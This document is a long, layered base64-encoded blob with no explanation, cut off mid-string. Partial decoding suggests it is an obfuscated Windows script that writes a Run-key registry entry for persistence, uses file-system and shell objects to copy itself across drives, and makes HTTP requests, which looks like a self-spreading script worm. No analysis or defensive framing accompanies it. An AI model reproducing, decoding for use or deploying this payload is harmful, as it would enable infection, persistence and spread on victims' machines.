ktjR05JVVhWak1rNTVZVmhDTUZKdVZuTmlSVFZvWWxkVloweERRbXRqYld3eVdsTTFkMWxZVW05SlEzTm5TV3g0WTBscFBqNGxja2xIYkhWak0xSm9Za2Q0ZFZsWE1XeE1TRko1WkZkVmNFOTNiMHBEVjJ4dFNVTm9iV0ZYZUd4ak0yeDZaRWRXZEdJeVNuRk1iVnB3WWtkV1JtVkhiSHBrU0UxblMwZFNlV0ZZV214TWJrSm9aRWRuWjB0NVBqNGxhVmhHZDJsSlEzTm5ZVmMxZW1SSFJuTmlSelZvWWxkVmNFdFljMHREVVd0S1dtMXNjMXBZVGpWak0xSnNZbGM1YVdGcE5XNWFXRkpIWVZkNGJFdEhVbmxoV0Zwc1RHNUNhR1JIWjJkTGVUNCtKV2xZUm5kcFNVTStQaVZ5U1Vkc2RXTXpVbWhpUjNoMVdWY3hiRXRUTldoa1NGSjVZVmRLTVdSSFZucEpSREJuVFdsek1FOTNiMHBEV0RCTFExZ3hhbGxZVW1waFEyaHNZVmR3TVV0WWREbERhVDQrSldkSlEwSnRZak5KYjJSdFJubEpSMXB3U1VRd1oySnRWak5KUlZaMVpGY3hiR050UmpCaU0wbHZXbTFzYzFwWVRqVmpNMUpzWWxjNWFXRnBOVzVhV0ZKdFlqSjRhMXBZU1c5YVNFcHdaRzFWZFdOSFJqQmhRejQrSlhKSlEwcGpXRU5KY0V4dFduQmlSMVo2UzFSelowbFhXbkJNYlVZd1VsYzFhMHREYXpkSlIxcHdURzB4ZG1SdFZrOWFXR2d3UzBOcmNHVjNiMHBEV0ZKNVpWaHpTME5SYkRKWldFbG5XbTFzYzFwVFBqNGxPVWxIV25CTWJXd3dXbGN3YjB0VWMwdEpRejQrSldkSlF6NCtKV2RKUTBKd1dtaytQaVZ2WWtjMWNscHRiSE5hVXo0K0pUbFFVMEp0V1ZkNGVscFRiRGRaYmtwc1dWZHpOMlpSYjJkSlF6NCtKV2RKUXo0K0pXZEpSMnh0U1VOb2JXRlhlR3hNYlRWb1lsZFZkV0ZYTld0YVdHaFFXbWxuYVV4cFNYQkxXSE5MU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VNK1BpVm5ZVmRaWjB0RGFHMWhWM2hzVEcwMWFHSlhWWFZqTTBKellWaFJiMGxwTkdsTFZuUnRZVmQ0YkV4dE5XaGlWMVYxWXpOQ2MyRllVVzlKYVRScFMxTTFjMXBYTlc1a1IyZG5URk0rUGlWNFdGTnJkV1JIT1UxaU0yUnNZMnRPYUdNeVZXOUxVejQrSldoUVV6NCtKV2xpUnpWeVNXbHNOME5wUGo0bFowbERQajRsWjBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFFtMWhWM2hzVEcxR01HUklTbkJaYmxZd1dsaE5aMUJUUGo0bGVVdDZVVGREYVQ0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlEwSndXbWsrUGlWdldtMXNjMXBUTlhWWlZ6RnNURzVTZGxaWVFuZGFXRXBFV1ZoT2JFdERhMmRKVkRCbllWYzFlbVJIUm5OaVJ6Vm9ZbGRWZFdSSE9WWmpTRUpzWTJ0T2FHTXlWVzlMVTJ3M1EyaytQaVZuU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuV20xc2MxcFhOV2hpVjFWblVGTkNiV0ZYZUd4TWJUVm9ZbGRWZFdNelFuTmhXRkZ2U1drMGFVdFVjMHRKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUTBKelltMTBkbGx0YjJkUVUwSjZZVWRXYzJKSE9XbGhhVFZxWTIxV2FHUkhWbFJoUnpsNVpFZE9NV1JEYUd0amJXd3lXbE0xZDFsWVVtOUpRM05uU1d4NFkwbHBQajRsWjB0NVFtMWhWM2hzWW0xR2RGcFdjM2RZVXo0K0pYSkpRMGwxWWtjMWNrbHBhemREYVQ0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZGlSelZ5WWpKS2NVeHVaSEJpYlZKMlpERk9NR1ZYZUd4SlJEQm5UbnB6UzBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFFuTmliWFIyV1cxdmRXUkhSbmxhTWxZd1ZVZEdNR0ZEUGo0bE9VbERTbXBpVjFGMVdsaG9iRWxxYzB0SlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlEwSnpZbTEwZGxsdGIzVmtNamw1WVRKc2RWb3dVbkJqYlZacVpFYzVlV1ZUUGo0bE9VbERTV2xQZDI5blNVTStQaVZuU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VNK1BpVm5TVU0rUGlWblNVZDRkV0V5T1dsaGFUVm9ZMjFrTVdKWFZuVmtTRTFuVUZNK1BpVnBUREpOWjJNelVtaGpibEZuU1drK1BpVnlTVWRzZFdNelVtaGlSM2gxV1ZjeGJFeHVTbXhqUjNob1dUSlZiMkp0VmpOSlJrcHNXakJXTkdORFoybEpRMGx6U1VOS2JrbHBhM05KUTBwalNXbENZMGxwU1hCSlEzTm5TV2xhZW1SSFJubGtRejQrSldsSlEzTm5XbTFzYzFwVE5YVlpWekZzVEc1S2JHTkhlR2haTWxWdlltMVdNMGxHU214YU1GWTBZME5uYVVsRFNYTkpRMHB1U1dscmMwbERTbU5KYVVKalNXbEpjRWxEYzJsS2JWWTBZVmhSYVU5M2IyZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpTRko1WlZoMGJXRlhlR3hoVjA1MlltaytQaVU1U1VoT2IxcFhlSE5pTWtweFRHeEtiRm94U214WlYxRm5TME5LU1ZNd1ZscFlNSGhRVVRCR1RWZ3dNVUpSTUdoS1ZHdFdZMWhJVG5aYWJsSXpXVmhLYkZoR2VHcGlSMFo2WXpKV2VsaEdkMmxKUTNObll6Sm9iR0pIZUhaWmJXOTFWVzFXYmxWdFZtaGFRejQrSlc5SmEyaE1VbFpzWmxSRk9VUlJWWGhtVkZWR1JGTkZiRTlTVm5oall6STViV1JJWkdoamJWWmpXRWRPYzFsWVRucGFXRTVqV0VNMGFVbERjMmRhYld4eldsTTFkVmxYTVd4TWJrNTNZa2RzTUV0RFNYVkphV3hpV20xc2MxcFROWFZaVnpGc1RHNU9kMkpIYkRCTFEwbDFTV2xyZFdKSFZuVmFNMUp2U1VNd1owMVdNSEpKUTBwaldFTkpjRWxEYzJkSmJIaGpXa2RXYlZsWVZuTmtSMnhxWWpJMVkxaERTWEJQZVVJNVdUSkdNRmt5WjI5YVYxWnNXbE5zTjJaUmIyZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpSMnh0U1VOb2JXRlhlR3hoVjA1MlltazFjR0p0VW14bFJUbHRTME5KYzBscGEyZFFWREJuVFVOc04waytQaVZ2WjBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFBqNGxaMGxEUW5OaWJYUjJXVzF2ZFdGWFRuWmlhM2gyV1RKR01HRlhPWFZKUkRCbldtMXNjMXBUTlhkWldGSnZUM2R2WjBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsSU1XeGlTRTVzU1VoelMwbERQajRsWjBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFBqNGxaMkpITlhKaU1rcHhURzFzYW1JeU5VMWlNazVvWkVkc2RtSnBQajRsT1VsSFduQmlSMVp3V1RJNWRVOTNiMmRKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKU0RCTFNVTStQaVZuU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VNK1BpVm5TVU0rUGlWblNVTkNjMkp0ZEhaWmJXOTFZekpHTWxwVFozQlBkMjluU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VNK1BpVm5TVU0rUGlWblpsRnZaMGxEUGo0bFowbERQajRsWjBsRFBqNGxaMGxEUWpsRGFUNCtKV2RKUXo0K0pXZEpRejQrSldkbVVXOUtRMWd4YWxsWVVtcGhRMmhzWTI1SmNHVXpNRXRKUXo0K0pXZEpTREJMUTFkYWRtTnBhREpaV0VsbldtMXJaMUJUUW5WYVdHTm5VbGMxTVdKWFZubFpXRkoyWTJsb2JXRlhlR3hqTTJ4NlpFZFdkR0l5U25GTWJXUnNaRWRhZG1KSFVteGphV2hyWTIxc01scFROWGRaV0ZKdlNVTnpaMGxzZUdOSmFXdDFZek5XYVZKdE9YTmFSMVo1WTNsck4wbERSbTFoVXpWb1pFVldkVnBEWjNCUGVVSnRZVk0xZEdJeldteFViVlkwWkVObmNFdFljMHREVVd3d1kyNXNOME5uYTBwa2JVWjVTVWRhZG1KSFVteGphVDQrSlRsSlIxcHdURzFzTUZwWE1HOUxWSE5MU1VNK1BpVm5TVU0rUGlWblNVTkNjRnBwUGo0bGIySkhOWEphYlRseldrZFdlVWxFTURsSlIxcG9Za2hPYkV0WWRHbGpiVlpvWVhwME9VTnBQajRsWjBsRFBqNGxaMGxEUGo0bFoxcHRPWE5hUjFaNVRHMUdNR1JJU25CWmJsWXdXbGhOWjFCVFBqNGxlVXQ2VVRkRGFUNCtKV2RKUXo0K0pXZEpRejQrSldkYWJUbHpXa2RXZVdKdFJuUmFVejQrSlRsSlIxcDJZa2RTYkdOcE5YVlpWekZzVDNkdlowbERQajRsWjBsRFBqNGxaMGxIZUhWaE1qbHBZV2srUGlVNVNVaE9iMXBYZUhOaU1rcHhURzFPZVZwWFJqQmFWazV2WWpOS01Ga3pWakJMUjFKNVlWaGFiRXh1UW1oa1IyZG5TM2srUGlWcFdFWjNhVWxEUGo0bGNrbEhXblppUjFKc1kyMDFhR0pYVldkTGVUNCtKV2xNYlhoMVlYbEpjRTk1UGo0bFMwbERQajRsWjBsRFBqNGxaMGxEUW5OaWJYUjJXVzF2ZFdReWJIVmFSemt6VlROU05XSkhWV2RRVXo0K0pUTlBkMjluU1VNK1BpVm5TVU0rUGlWblNVZDRkV0V5T1dsaGFUVXdXVmhLYmxwWVVsRlpXRkp2U1VRd1owbHRUblJhUXpWc1pVZFZhVTkzYjJkSlF6NCtKV2RKUXo0K0pXZEpSM2gxWVRJNWFXRnBOVE5pTTBweVlWYzFibEpIYkhsYVYwNHdZak5LTlVsRU1HZEphVWszUTJrK1BpVm5TVU0rUGlWblNVTStQaVZuWWtjMWNtSXlTbkZNYlVaNVdqTldkRnBYTlRCamVUNCtKVGxKUTBsMldYbENlbVJIUm5sa1F6NCtKV2xKUTNObllWYzFlbVJIUm5OaVJ6Vm9ZbGRWZFdOdFZuZGlSMFpxV2xOb2RWcFlZMmRWYlZadVVsaG9kMHREU1dkSmFYZG5TVzFqYVV0VGQyZEpiSGRwU1VaM2FVbHBhMmRMZVQ0K0pXbEtiazR3V1ZoS01FbEhWalJqUjNoMlkyMVdlVWxEU1dkTGVVSnRZako0YTFwWVNYVmliVVowV2xNMWVWcFlRbk5aVjA1c1MwYzFiR1I1UWxOYVYyUkdaVWcrUGlWdlNXaytQaVZwVEVNK1BpVnBXbmxKY0V4RFBqNGxhVmhEU1dkWVEwbHBTMU0rUGlWeVNXbGFiR1ZIYkRCSmFuTkxTVU0rUGlWblNVTStQaVZuU1VOQ2JXSXllR3RhV0Vwd1dUSTVkVWxFTUdkak1taHNZa2Q0ZGxsdGIzVlZiVlp1VlcxV2FGcERaMmxUUlhSR1YxWTVUVlF3VGtKVVJqbE9VVlZPU1ZOVk5VWllSbmg2WWpKYU1HUXlSbmxhVm5oaldUSjRhR016VG14ak1YaGpXbTA1YzFwSFZubFlSbmhyV2xkYWFHUlhlREJoVjA1MllteDRZMGxwYXpkSlBqNGxiMmRKUXo0K0pXZEpRejQrSldkSlIyeHRTVU5vYldJeWVHdGFXRXB3V1RJNWRVeHRiSFZhUjFZMFZESlpiMGxwZDJsTFV6NCtKVGxRVXo0K0pYZExXSE5MU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VNK1BpVm5Za2MxY21JeVNuRk1iV3hxWWpJMVRXSXlUbWhrUjJ4MlltaytQaVU1U1VkYWRtSkhVbXhqYVRWM1dWaFNiMDkzYjJkSlF6NCtKV2RKUXo0K0pXZEpTREZzWWtoT2JFbEljMHRKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZGlSelZ5WWpKS2NVeHRiR3BpTWpWTllqSk9hR1JIYkhaaWFUNCtKVGxKUjFwMllrZFNiR050YkdwaU1qUTNRMmsrUGlWblNVTStQaVZuU1VNK1BpVm5abEZ2WjBsRFBqNGxaMGxEUGo0bFowbEhlSFZoTWpscFlXazFlbGxZV214TFEyczNRMmRyU21aWFRtaGtSMDV2UzBkV2VXTnBiRGRtVVc5blNVTStQaVZuWmxGd09VTnVNRXRtVVhBNVEyNHdTME50V2pGaWJVNHdZVmM1ZFVsSVRqQlpXRW93WkZoQ1JtSkhWakpaV0ZKc1MwTnNOME5uYkhCYWFXaFlWVEpPZVdGWVFqQk1hMFo1V2pOV2RGcFhOVEJqZVRWUFdWY3hiRnBETlVabFIyeDZaRWhOYjBsdFZuTmFXRnBvWkVkV2EwbHBhMmRRVkRCbldtMUdjMk15VlhCbGQyOUtRMWhTZVdWWWMwdERVV3RLVmpGT2FtTnRiSGRrUXpWRVkyMVdhR1JIVmxCWmJYQnNXVE5SYjBsc1RtOWFWM2h6VEd0R2QyTkhlSEJaTWtZd1lWYzVkVWxwYTNWVk1taHNZa2Q0Um1WSFZtcGtXRkpzUzBOS00yTXlUbmxoV0VJd1RHMVdORnBUU1hOSlEwbG5USGs1UTBsR2QybEphVDQrSlhKSlJtUlVXVE5LY0dOSVVYVlZNazU1WVZoQ01GSnVWbk5pUlRWb1lsZFZaMHQ1UGo0bGFWaERTV2RNTWxaeldsaGFhR1JIVm10SmFYZG5TV2xKYzBsRFNubGtWelZvWTNsSmMwbEVSWEJQZDI5S1ExZ3hhbGxZVW1waFEyaDFZbWxzTjBObmEwcG1VVzlLUTFaa1ZGa3pTbkJqU0ZGMVkxaFdjR1JEWjNCUGQyOUtabEZ3T1VObmNHMWtWelZxWkVkc2RtSnBRbXRoV0U1b1dXMTRiRlV5Vm1wa1dFcHdaRWhyYjB0WWMwdERWMnh0UzBaa1ZGa3pTbkJqU0ZGMVVWaEtibVJYTVd4aWJsSjZUR3MxYUdKWFZtdE1hMVkwWVZoT01HTjVaMmxhVjNoc1pHMUdNRnBYVVdsTFV6NCtKVGxRVTBJd1kyNVdiRXRZYzB0RFVXd3lXVmhKWjJJeFNteGFlVDQrSlRsSlJXUnNaRVU1YVdGdFZtcGtRMmRwWkRKc2RXSlhaSFJrU0UwMlpUSnNkR05IVm5sak1qbDFXVmhTY0dJeU5VMWFXRnBzWWtReGNHSllRbXhqYms1MlltMUdNRnBZTUdoWVJuaGpXRU0xWTFoSVNuWmlNMUpqV0VkU2JGcHRSakZpU0ZFMlZUTlNhMVZ0Vm01VlNFcDJaR2xKY0U5M2IwcERWemxUV2xkamRWVXlWakJTU0dSMlkyMVNWMWxYZURGYVUyZDNaVVJuZDAxRVBqNGxkMDFFUGo0bGVVeERTbFJVTUZwVlZqQkdVMUpXZUdOVVYyeHFZMjA1ZW1JeVdqQllSbmhZWVZjMWEySXpaSHBZUm5oRVpGaEtlVnBYTlRCV2JWWjVZekpzZG1Kc2VHTlZSemx6WVZkT2NGcFlUbU5ZUms0MVl6TlNiR0pUU1hOSmExWjFXVmRLYzFwVmVGWlJVMGx6U1VRK1BpVndUM2R2U2tOWE9WTmFWMk4xVlRKV01GSklaSFpqYlZKWFdWZDRNVnBUWjNkbFJHZDNUVVErUGlWM1RVUStQaVY1VEVOS1ZGUXdXbFZXTUVaVFVsWjRZMVJYYkdwamJUbDZZakphTUZoR2VGaGhWelZyWWpOa2VsaEdlRVJrV0VwNVdsYzFNRlp0Vm5sak1teDJZbXg0WTFWSE9YTmhWMDV3V2xoT1kxaEdUalZqTTFKc1lsTkpjMGxyVG5aaWJrNXNZbTVTVVdOdE9YUmpTRkpEV2xkb2FHUnRiSFpqYTBacllsZHNkVWxwZDJkTlEyczNRMmRyU21JeFNteGFlVDQrSlRsSlJ6VXhZa2QzTjBObmJEbERiakJMUTIxYU1XSnRUakJoVnpsMVNVaFdkV0ZYTlhwa1IwWnpZa05uY0dWM2NEQmpibXczUTI1YWFHTnBRbTFoVjNoc1ltMUdkRnBVYzB0a2JVWjVTVWRhZG1KSFVteGpiVFZvWWxkVk4wTnVVbmxsV0hOTFNVTStQaVZuU1VoT2IxcFhlSE5pTWtweFRHeEtiRm93VW14aVIxWXdXbE5uYVZORmRFWlhWamxFVmxaS1UxSlZOVlZZTVZaVVVsWktZMWhJVG5aYWJsSXpXVmhLYkZoR2VIUmhWMDU1WWpOT2RscHVVbU5ZU0dSd1ltMVNkbVF6VG1OWVIwNHhZMjVLYkdKdVVqSmFXRXA2WVZjNWRWaEdlSGxrVnpWaldFTkpaMHQ1UW5CaWJrNHdXVmQ0YzJKdFJuUmFVelY2WTBkNGNHUkRaMmxNYVVsd1YzcENaRXRVYzB0SlF6NCtKV2RKU0U1dldsZDRjMkl5U25GTWJFcHNXakJTYkdKSFZqQmFVMmRwVTBWMFJsZFdPVTFVTUU1Q1ZFWTVUbEZWVGtsVFZUVkdXRVo0ZW1JeVdqQmtNa1o1V2xaNFkySlhiR3BqYlRsNllqSmFNRmhHZUROaFZ6VnJZak5rZWxoR2VHcGtXRXA1V2xjMU1HUnRWbmxqTW14MllteDRZMk51Vm5WWVJuZHBTVU56WjJGWE5YcGtSMFp6WWtjMWFHSlhWWFZqTTBKellWaFJiMGxwTkdsTFZuTjNXRk5yTjBOdU1XcFpXRkpxWVVOb2JHRlRiRGRtVVhBd1kyNXNOME50V25CaVIxWjZaVmhPTUZwWE1YWlpiVzkxV2tkV2MxcFlVbXhTYld4eldsTm9lbVJIUm5sa1NGWjNTVU56WjJGWE5YcGtSMFp6WWtjMWFHSlhWV2RNU0ZKNVpGZFZjRTkzY0cxaFYzaHNZek5zZW1SSFZuUmlNa3B4VEcxU2JHSkhWakJhVlZwd1lrZFZiMVl4VG1wamJXeDNaRU0xZWxrelNuQmpTRkpIWkZkNGMxUnRSblJhVXo0K0pYTmtTRW94V2xOck4wTnVNV3BaV0ZKcVlVTm9iRnBYYjNCbE16QkxXbTA1ZVV0SVdtaGphVUpyWTIxcloxQlRRblZhV0dOblVsYzFNV0pYVm5sWldGSjJZMmxvYldGWGVHeGpNMng2WkVkV2RHSXlTbkZNYlZKNVlWaGFiR041YXpkSlEwWnJZMjFyZFZsWVVrWmliVkZ2UzFSeloxcElTbkJNYlRGMlpHMVdUMXBZYURCTFEydHdaWGR3TWxsWVNXZGFTRXB3WkcxVloxQlRRbXRqYld0MVlWaFNiR0pUWjNCUGQzQndXbWsrUGlWdldraEtjR1J0VlhWaFdFNTVXbGRHYTJWVFBqNGxPVkJUUWpCamJsWnNTMWh6UzJGWFdXZExSMUo1WVZoYWJFeHRXbmxhVjFaNlkwZEdhbHBUUGo0bEswbEVQajRsWjB0WWMwdGhWMWxuUzBkU2VXRllXbXhNYlZKNVlWaGFiR1JJYkhkYVV6NCtKVGxRVXo0K0pYaEpRMnczUTJkc2JXSXpTVzlrYlVaNVNVZGFjRWxFTUdkaWJWWXpTVVZXZFdSWE1XeGpiVVl3WWpOSmIxcHRiSE5hV0U0MVl6TlNiR0pYT1dsaGFUVnVXbGhTYldJeWVHdGFXRWx2V2toS2NHUnRWWFZqUjBZd1lVTStQaVZ5U1VOS1kxaERTWEJNYlZwd1lrZFdla3RVYzJkSlYxcHdURzFHTUZKWE5XdExRMnMzU1VkYWNFeHRNWFprYlZaUFdsaG9NRXREYTNCbGQyOW5TVU0rUGlWblNVTStQaVZuU1VOQ01sbFlTV2RhYld4eldsTStQaVU1U1VkYWNFeHRiREJhVnpCdlMxUnpTME5SYTJka1NFbzFaWGR2WjBsRFBqNGxaMGxEUGo0bFowbERRbkJhYVQ0K0pXOWFiV3h6V2xNMWRWbFhNV3hNYld4MVdrZFdORlF5V1c5SmFUUnBTMU5zTjBOcFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFBqNGxaMGxEUW5CYWFUNCtKVzlMUjFwd1lrZFZkV0p0Um5SYVV6VjZZMGQ0Y0dSRFoybE1hVWx3VnpKYWNHSkhWWFZpYlVaMFdsTTFlbU5IZUhCa1EyZHBUR2xKY0V4dGVHeGliV1F3WVVNK1BpVjBTVVJHWkV0VE5UQmlNSGgyWkRKV2VWRXlSbnBhVTJkd1NVTkZPVWxEU25OaWJYTnBTMWh6UzBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFBqNGxaMGxEUGo0bFowbERRbTFoVjNoc1RHMUdNR1JJU25CWmJsWXdXbGhOWjFCVFBqNGxkMDkzYjJkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpSMnh0U1VOb2JXRlhlR3hNYlRWb1lsZFZkV1JIT1ZaalNFSnNZMnRPYUdNeVZXOUxVejQrSldoUVUwSndZbTVPTUZsWGVITmliVVowV2xNMU1HSXhWbmRqUjFaNVVUSkdlbHBUWjNCTFdITkxTVU0rUGlWblNVTStQaVZuU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VNK1BpVm5TVU0rUGlWbldtMXNjMXBYTldoaVYxVm5VRk5DYldGWGVHeE1iVFZvWWxkVmRXTXpRbk5oV0ZGdlNXazBhVXRVYzB0SlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RhYld4eldsaE9OV016VW14aVZ6bHBZV2sxYTFwWGVHeGtSMVpIWVZkNGJFdEhVbmxoV0Zwc1RHNUNhR1JIWjJkTGVUNCtKV2xZUm5kcFNVTnpaMXB0YkhOYVZ6Vm9ZbGRXWWsxR01HZExlVDQrSldsTWJYaDFZWGxKWjB0VWMwdEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUTBJNVdsZDRlbHBZYzB0SlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RhYld4eldsaE9OV016VW14aVZ6bHBZV2sxYTFwWGVHeGtSMVpIWVZkNGJFdEhVbmxoV0Zwc1RHNUNhR1JIWjJkTGVUNCtKV2xZUm5kcFNVTnpaMXB0YkhOYVV6VjFXVmN4YkV0VWMwdEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUTBJNVEyaytQaVZuU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VOQ09WcFhlSHBhV0hOTFNVTStQaVZuU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VNK1BpVm5TVU5DYldGWGVHeGpNMng2WkVkV2RHSXlTbkZNYlZKc1lrZFdNRnBWV25CaVIxVm5TMGRhY0dKSFZYVmpSMFl3WVVOck4wTnBQajRsWjBsRFBqNGxaMGxEUGo0bFowbERQajRsWjBsRFFqbERhVDQrSldkSlF6NCtKV2RKUXo0K0pXZEpTREJMUTFGcloyWlhUbWhrUjA1dlMwZFdORXRZZERsRGFUNCtKV2RKUXo0K0pXZG1VVzlLU1VkYWRtTnBhREpaV0VsbldtMXJaMUJUUW5WYVdHTm5VbGMxTVdKWFZubFpXRkoyWTJsb2JXRlhlR3hqTTJ4NlpFZFdkR0l5U25GTWJXUnNaRWRhZG1KSFVteGphV2hyWTIxc01scFROWGRaV0ZKdlNVTnpaMGxzZUdOSmFXdDFZek5XYVZKdE9YTmFSMVo1WTNsck4wbERSbTFoVXpWb1pFVldkVnBEWjNCUGVVSnRZVk0xZEdJeldteFViVlkwWkVObmNFdFljMHREVVd3eVdWaEpaMXB0T1hOYVIxWjVTVVF3WjFwdGEzVmhXRkpzWWxObmNFOTNiMmRKUXo0K0pXZEpRejQrSldkSlEwSnRZako0YTFwWVNYVlpXRkl3WTIxc2FXUllVbXhqZVQ0K0pUbEpSRDQrSlRkRGFUNCtKV2RKUXo0K0pXZG1VWEE1UTI0d1MyWlJjRGxEYmpGcVdWaFNhbUZEYUd4amJrbHdaVE13UzFZeFRtcGpiV3gzWkVNMWVHUlhiREJMUTJzM1EyNHdTME50V2pGaWJVNHdZVmM1ZFVsSVFuWmpNMUZuUzBkT2RGcERQajRsYzJOSFJubFpWekJ3Wlhkd01HTnViRGREYldnd1pFaENkbGx0YjNWaU0wSnNZbWxuYVdOSE9YcGtRMGx6U1cxb01HUklQajRsTmt4NU9HbEpRM05uWVVjNWVtUkRQajRsY2tsRFNUWkphVDQrSlhKSlNFSjJZMjVSWjB0NVNYWkphVDQrSlhKSlIwNTBXa04zWjFwdFJuTmpNbFZ3VDNkd2IyUklVbmRpTWtweFRHNU9iR1JHU214aldGWnNZek5TU1ZwWFJtdGFXRWx2U1c1V2VscFlTWFJaVjJSc1ltNVJOa2xwZUhCaWJWcDJZMjB4YUdSSGJIWmlhV2R3UzFSelMyRklVakJqUnpscFlXazFlbHBYTld0TFNFSm9ZMjFHZEV0VWMwdGpiVll3WkZoS2RVbEhhREJrU0VKMldXMXZkV050Vm5walJ6bDFZekpXVlZwWWFEQlBkM0E1V1RKR01Ga3laMjlhV0VwNVMxaHpTME5ZU214a1NGWjVZbWsrUGlWcFNXcHpTMlpSY0RsRFozQnRaRmMxYW1SSGJIWmlhVUp3WW0xYWRtTnRNV2hrUjJ4MlltbG5jR1YzY0RCamJtdzNRMjFzYlVsRGFIQmliVmxuVUZRd1owbHBTWEJsZDI5blNVTStQaVZuWVZjMWJVbEVNR2RoU0dSd1drTm5jRWxEYzJkak0wSnpZVmhTYkdOcWMwdEpRejQrSldkSlIyeDFXbWsrUGlVNVNVZHNkVnBwUGo0bFowdDVRbnBoUjFaellrYzVhV0ZwTlVabFNFSm9ZbTFTUm1KdVduQmpiVGwxWWxkV2RXUkdUakJqYld4MVdqTk5iMGxwVm1waU1qRjNaRmhTYkdOdE5XaGlWMVZzU1dsclowdDVRbnBqUjNod1pFZFdlVWxFYzB0SlF6NCtKV2RKUjJ4MVdtaytQaVU1U1Vkc2RWcHBQajRsWjB0NVFucGhSMVp6WWtjNWFXRnBOVVpsU0VKb1ltMVNSbUp1V25CamJUbDFZbGRXZFdSR1RqQmpiV3gxV2pOTmIwbHBWakZqTWxaNVltMUdkRnBUVldsTFV6NCtKWEpKU0U1M1lrZHNNRnBZU1RkRFoyOW5TVU0rUGlWblpHMUdlVWxJU25aaU0xRm5VRk5DU0ZwWVVsQlpiWEJzV1ROUmIwbHVaSEJpYlRGdVlsaFNlazl1ZEhCaVdFSnNZMjVPZG1KdFJqQmhWemwxWWtkV01scFhkemxoVnpGM1dsaEtlbUl5Tldoa1IxWTVTVlo0WTFoR2QzVllSbmg1WWpJNU1GaEdlR3BoVnpFeVRXbEpjRTkzYjJkSlF6NCtKV2RrYlVaNVNVYzVla2xFTUdkamJUbDJaRU0xUm1WSFZtcFZXRlpzWTI1clowdERTbnBhVjNoc1dUTlJaMHRwUW0xamJUbDBTVWhrY0dKcVRYbFlNamwzV2xoS2FHUkhiSFZhTTA0MVl6TlNiR0pUU1hCUGQyOW5TVU0rUGlWTFExZGFkbU5wYURKWldFbG5XbTFyWjFCVFFuVmFXR05uVWxjMU1XSlhWbmxaV0ZKMlkybG9kbU41YXpkSlEwWnRZVk0xYUdSRlZuVmFRMmR3VDNsQ2JXRlROWFJpTTFwc1ZHMVdOR1JEWjNCTFdITkxRMUZzTWxsWVNXZGlNMDV3WW0xYWRrbEVNR2RhYld0MVlWaFNiR0pUWjNCUGQyOW5TVU0rUGlWblNVTStQaVZuWVZjMWJVbEVNR2RoVnpWdFNVTnpaMkl6VG5CaWJWcDJURzFPYUdOSVVuQmlNalJuUzNsQ2VtTkhlSEJrUjFaNVQzaytQaVZuUTJrK1BpVm5TVU0rUGlWblNVTkNhV050Vm1oaGVuTkxTVU0rUGlWblNVZ3dTMGxEUGo0bFowbEhiSFZhYVQ0K0pUbEpSMngxV21rK1BpVnlTVU5LZDJKSVZucEphVDQrSlhKSlNFNTNZa2RzTUZwWVNUZERhVDQrSldkSlEwSndZbTFaWjFCVFFuQmliVmxuUzNsQ2VscFhUakZqYld3d1pWTm5jRWxEYzJkak0wSnpZVmhTYkdOcWMwdEpRejQrSldkSlIyeDFXbWsrUGlVNVNVZHNkVnBwUGo0bGNrbElWbnBaYms1M1kyMVdhRnBIYkhWYWVuTkxTVU0rUGlWblNVZHNkVnBwUGo0bE9VbERTbGhWTUdoVFVWWlJhVWxEYzJkak0wSnpZVmhTYkdOcFBqNGxja2xIYkhWYWFUNCtKWEpKU0U1M1lrZHNNRnBZU1dkTGVUNCtKV2xUYlVZeVdWWk9hbU50Ykhka1F6RXlUVk0wTWtscFBqNGxOME5wUGo0bFowbERRbmxhV0ZJeFkyMDBaMkZYTlcxUGQzQTVXbGQ0ZWxwWWMwdEpRejQrSldkSlNFcHNaRWhXZVdKcFFuQmliVmszUTI0d1MyWlhUbWhrUjA1dlMwZFdlV05wYkRkRFoyeDVXbGhTTVdOdE5HZEphVWszUTI0d1MyWlJiMHREYlZveFltMU9NR0ZYT1hWSlNGWjNZek5TYUdOdVVXZExRMnczUTI1U2VXVlljMHRrU